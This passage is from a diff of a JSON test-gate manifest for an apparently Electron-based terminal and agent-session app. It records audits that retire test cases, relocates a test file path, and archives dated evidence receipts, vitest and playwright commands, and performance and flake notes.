FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. The Codex restart suite and exact command/testFiles/assertionRef are removed; its mock account-change/remote-pane restart alarms are intentionally lost. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Race independent clients and repeated operation IDs, then assert one physical spawn and one canonical PTY/surface; inject exit-before-reply, provider disconnect, conflicting claim scope, old daemon/relay capabilities, reused handles, stale incarnations, owner mismatch, and topology revision conflict; assert safe adoption or explicit failure without a second spawn or wrong-process attachment. Run fresh/resume with activate true/false against an isolated headed desktop host and a separate paired client, then against isolated headless serve: assert host presentation stays background, only the requesting viewer focuses the exact leaf, inactive calls preserve client/DOM focus, a same-version publication replay cannot lose focus intent, and sibling-first split publication cannot consume exact-leaf intent. Restore legacy split panes and groups beside a newer host-owned tab, preserving exact predecessor/new/successor order, output, input, resize, titles, tab/leaf identity, active group, and multi-client convergence. For completion, drive a known running agent through outer transport loss, authoritative provider rejection, reconnect, explicit stop, real exit status, and successful hook completion; assert unavailable evidence never dispatches completion and two fresh authoritative idle samples are required after the gap. After exact exit, assert terminal and tab listings omit the surface, a stale publication cannot restore it, restart cannot resurrect it, exact tokened fixture PIDs are dead, and unrelated tabs/processes survive until scoped cleanup. Settings-host12 TEST policy additionally retires tests/e2e/remote-terminal-tab-retirement.unit.test.ts: loses permanent host exit retirement in simultaneous viewers and stale snapshot/replay resurrection protection. The callback composed runtime publication and synthetic viewer reducers with exact flush/publication work counts. No replacement or equivalent coverage is claimed; prior receipts remain historical and apply only to their original selectors.", "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts", - "pnpm run build:cli && pnpm run build:electron-vite && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs", "node --check config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs", "pnpm exec electron-vite build --mode e2e", "VITE_EXPOSE_STORE=true pnpm run build:web", - "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/remote-agent-session-focus-authority.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", "Manual headed paired-server journey: isolated Orca desktop host + separate paired web client + real Codex process + 20-second WebSocket fault + reconnect + explicit stop", "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts --maxWorkers=1", - "pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/construction/orca-runtime.test.ts tests/e2e/remote-agent-completion-authority.unit.test.ts src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-agent-completion-authority.unit.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-completion-and-notification.test.ts" + "pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/construction/orca-runtime.test.ts tests/e2e/agents/remote-sessions/remote-agent-completion-authority.unit.test.ts src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts", + "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/agents/remote-sessions/remote-agent-completion-authority.unit.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-completion-and-notification.test.ts" ], "testFiles": [ "src/main/daemon/terminal-host/testing/terminal-host.test.ts", "src/main/runtime/construction/orca-runtime.test.ts", - "tests/e2e/remote-agent-completion-authority.unit.test.ts", + "tests/e2e/agents/remote-sessions/remote-agent-completion-authority.unit.test.ts", "src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts", "src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts", "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-completion-and-notification.test.ts", "src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts", "src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts", "src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts", - "tests/e2e/remote-agent-session-focus-authority.spec.ts", "config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs", "config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs" ], "assertionRefs": [ - { - "file": "tests/e2e/remote-agent-completion-authority.unit.test.ts", - "assertions": [ - "transport loss remains unknown through reconnect and cannot dispatch completion", - "returned unavailability or a thrown transport failure interrupts consecutive-idle proof and requires two fresh authoritative idle samples", - "explicit stop, real exit status, and genuine successful completion remain distinct" - ] - }, { "file": "src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts", "assertions": [ @@ -6748,7 +5993,6 @@ "does not let reconciliation erase an in-flight reservation" ] }, - { "file": "src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts", "assertions": [ @@ -6756,14 +6000,6 @@ "incarnation fencing prevents an old delayed exit from retiring a replacement PTY" ] }, - { - "file": "tests/e2e/remote-agent-session-focus-authority.spec.ts", - "assertions": [ - "headed desktop host remains unfocused while the paired requester alone follows active fresh/resume sessions and inactive rows preserve exact client/DOM focus", - "legacy afterTabId placement is exact in authoritative, mirrored, and rendered order with a pre-existing successor", - "host PTY inventory plus writable agent/unrelated shell markers prove liveness, unrelated survival, and exact terminal/tab/PTY/process cleanup" - ] - }, { "file": "config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs", "assertions": [ @@ -6780,16 +6016,6 @@ } ], "evidenceRuns": [ - { - "date": "2026-07-23", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/remote-agent-session-focus-authority.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 5.8, - "summary": "After fresh Electron E2E and exposed-store web builds, the isolated headed desktop host plus separate paired web client passed fresh/resume activate true/false, exact non-tail legacy placement in host/mirror/DOM, host focus isolation, requester-only exact focus, writable agent and unrelated shell markers, unrelated survival, and terminal/tab/PTY/process cleanup.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/remote-agent-session-focus-authority.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - }, { "date": "2026-07-22", "runner": "manual", @@ -6803,19 +6029,19 @@ ], "runtimeBudget": { "p95Seconds": 30, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "unknown", - "evidence": "Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audits1301 and1308; any retained unchanged-source receipts apply only to their own commands. Historical account: New experimental gate with deterministic local coverage and no soak history yet." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audits1301 and1308; any retained unchanged-source receipts apply only to their own commands. Historical account: New experimental gate with deterministic local coverage and no soak history yet." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audits1301 and1308 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Issue #10192 has byte-identical renderer-oracle evidence: origin/main@ee87bb38d (and earlier ef985ed80 and 94d3db4a2) fails activated fresh and resume rows by requesting focused host presentation, the PR client change passes all four rows, and disabling it turns the activated rows red again. The original PR still fails an old-client focused request against a new headless host; host-boundary normalization turns that mixed-version control green while trusted local callers remain focused. Issue #9151 has local red/green evidence for completion authority. The exact retirement oracle is red on pre-#9687 commit 2a32c5c9a and PR #9053 head d3a1d3047, and green on main@4fce2de49. Saved CI artifacts are still needed." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audits1301 and1308 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Issue #10192 has byte-identical renderer-oracle evidence: origin/main@ee87bb38d (and earlier ef985ed80 and 94d3db4a2) fails activated fresh and resume rows by requesting focused host presentation, the PR client change passes all four rows, and disabling it turns the activated rows red again. The original PR still fails an old-client focused request against a new headless host; host-boundary normalization turns that mixed-version control green while trusted local callers remain focused. Issue #9151 has local red/green evidence for completion authority. The exact retirement oracle is red on pre-#9687 commit 2a32c5c9a and PR #9053 head d3a1d3047, and green on main@4fce2de49. Saved CI artifacts are still needed." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Agent-session reconciliation runs only at explicit claim admission, dedupes concurrent provider listing, and adds no polling or renderer output work. Viewer focus reconciliation reuses the existing one post-create list and bounded intent map; same-version replay permits one already-received snapshot, and exact-leaf matching adds one conditional scan over the bounded tab snapshot. Completion inspection reuses the coordinator's per-pane in-flight guard, global concurrency/rate queue, and existing error backoff; the strict daemon path reduces two foreground RPCs to one. Create-operation ledgers are capped globally and per client, expire after 24 hours, and reject rather than evict live replay fences. Capability caches are bounded or connection-scoped, and exact handoffs are consumed by the next authoritative snapshot." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Agent-session reconciliation runs only at explicit claim admission, dedupes concurrent provider listing, and adds no polling or renderer output work. Viewer focus reconciliation reuses the existing one post-create list and bounded intent map; same-version replay permits one already-received snapshot, and exact-leaf matching adds one conditional scan over the bounded tab snapshot. Completion inspection reuses the coordinator's per-pane in-flight guard, global concurrency/rate queue, and existing error backoff; the strict daemon path reduces two foreground RPCs to one. Create-operation ledgers are capped globally and per client, expire after 24 hours, and reject rather than evict live replay fences. Capability caches are bounded or connection-scoped, and exact handoffs are consumed by the next authoritative snapshot." }, "promotionCriteria": [ "Run the focused gate and remote-server repro for at least 100 consecutive passes or 14 days across required CI platforms.", @@ -6909,7 +6135,11 @@ "Audit5946 retires seven finite hook-completion side-effect cases and two narrow command-finished routing cases from the retained completion wrapper. Hook versus title/process completion notification timing, replacement-agent attention veto, cache/cursor/focus-report side effects and two Droid/shell-routing projection alarms lose these examples without equivalent replacement. Identity-preserving sleeping records, accepted-status reconciliation, ordered input mode teardown, owner/refusal and liveness guards remain. Other factories and selectors retain only their original scope; no fresh execution or whole-gate equivalence is claimed. Preserve earlier knownGaps and complete dated evidence as history", "Module-layout settings/host cleanup retires these three complete historical remote-terminal-tab-retirement receipts because their whole test Program is removed. They describe only the original dated source and are no longer active evidence; no equivalent replacement or fresh validation is claimed. Full original receipts: [{\"date\":\"2026-07-22\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\",\"result\":\"failed\",\"durationSeconds\":3.11,\"summary\":\"The exact cross-boundary oracle failed on pre-#9687 commit 2a32c5c9a because the retired publication still contained the pinned persisted terminal surface.\",\"currentCommand\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\"},{\"date\":\"2026-07-22\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\",\"result\":\"failed\",\"durationSeconds\":3.48,\"summary\":\"The exact strengthened oracle failed on PR #9053 head d3a1d3047 because its stale-headless pruning retained the pinned persisted terminal surface.\",\"currentCommand\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\"},{\"date\":\"2026-07-22\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\",\"result\":\"passed\",\"durationSeconds\":3.18,\"summary\":\"The same strengthened oracle passed on main@4fce2de49.\",\"currentCommand\":\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts\"}]", "Shared agent/chat layout cleanup retires the remaining mocked agent-session operation-ledger registration: concurrent-retry joining, changed-fingerprint conflicts and exact createTerminal call count. Its active command token and test-file entry are removed. Prior evidence remains historical; no equivalent replacement or fresh gate coverage is claimed. Original command: pnpm exec vitest run --config config/vitest.config.ts src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts", - "Module-layout web/session cleanup: Removed exact-leaf/viewer-choice focus-intent TEST alarms and the old-host recovery TEST alarm for preserving a newly created CLI tab across stream/list ordering. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/74/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\"\"},{\"pointer\":\"/gates/74/commands/8\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts --maxWorkers=1\\\"\"},{\"pointer\":\"/gates/74/testFiles/12\",\"raw\":\"\\\"src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts\\\"\"},{\"pointer\":\"/gates/74/testFiles/13\",\"raw\":\"\\\"src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\"\"},{\"pointer\":\"/gates/74/assertionRefs/6\",\"raw\":\"{\\n \\\"file\\\": \\\"src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"replays a snapshot that beat the RPC response and focuses the exact adopted leaf\\\",\\n \\\"retains exact-leaf focus intent when a split sibling publishes first\\\"\\n ]\\n }\"},{\"pointer\":\"/gates/74/assertionRefs/7\",\"raw\":\"{\\n \\\"file\\\": \\\"src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts\\\",\\n \\\"assertions\\\": [\\\"mirrors a new CLI tab after old-host recovery when $name\\\"]\\n }\"}]" + "Module-layout web/session cleanup: Removed exact-leaf/viewer-choice focus-intent TEST alarms and the old-host recovery TEST alarm for preserving a newly created CLI tab across stream/list ordering. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/74/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\"\"},{\"pointer\":\"/gates/74/commands/8\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts --maxWorkers=1\\\"\"},{\"pointer\":\"/gates/74/testFiles/12\",\"raw\":\"\\\"src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts\\\"\"},{\"pointer\":\"/gates/74/testFiles/13\",\"raw\":\"\\\"src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\"\"},{\"pointer\":\"/gates/74/assertionRefs/6\",\"raw\":\"{\\n \\\"file\\\": \\\"src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts\\\",\\n \\\"assertions\\\": [\\n \\\"replays a snapshot that beat the RPC response and focuses the exact adopted leaf\\\",\\n \\\"retains exact-leaf focus intent when a split sibling publishes first\\\"\\n ]\\n }\"},{\"pointer\":\"/gates/74/assertionRefs/7\",\"raw\":\"{\\n \\\"file\\\": \\\"src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts\\\",\\n \\\"assertions\\\": [\\\"mirrors a new CLI tab after old-host recovery when $name\\\"]\\n }\"}]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-07-23\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/remote-agent-session-focus-authority.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 5.8,\n \"summary\": \"After fresh Electron E2E and exposed-store web builds, the isolated headed desktop host plus separate paired web client passed fresh/resume activate true/false, exact non-tail legacy placement in host/mirror/DOM, host focus isolation, requester-only exact focus, writable agent and unrelated shell markers, unrelated survival, and terminal/tab/PTY/process cleanup.\",\n \"currentCommand\": \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/remote-agent-session-focus-authority.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/agent-session/lifecycle/leases/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts\",\n\n \"pnpm run build:cli && pnpm run build:electron-vite && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs\",\n \"node --check config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs\",\n \"pnpm exec electron-vite build --mode e2e\",\n \"VITE_EXPOSE_STORE=true pnpm run build:web\",\n \"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/remote-agent-session-focus-authority.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"Manual headed paired-server journey: isolated Orca desktop host + separate paired web client + real Codex process + 20-second WebSocket fault + reconnect + explicit stop\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts --maxWorkers=1\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/construction/orca-runtime.test.ts tests/e2e/remote-agent-completion-authority.unit.test.ts src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-agent-completion-authority.unit.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-process-cadence.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-completion-and-notification.test.ts\"\n ]\ntestFiles: [\n \"src/main/daemon/terminal-host/testing/terminal-host.test.ts\",\n \"src/main/runtime/construction/orca-runtime.test.ts\",\n \"tests/e2e/remote-agent-completion-authority.unit.test.ts\",\n \"src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-inspection.test.ts\",\n 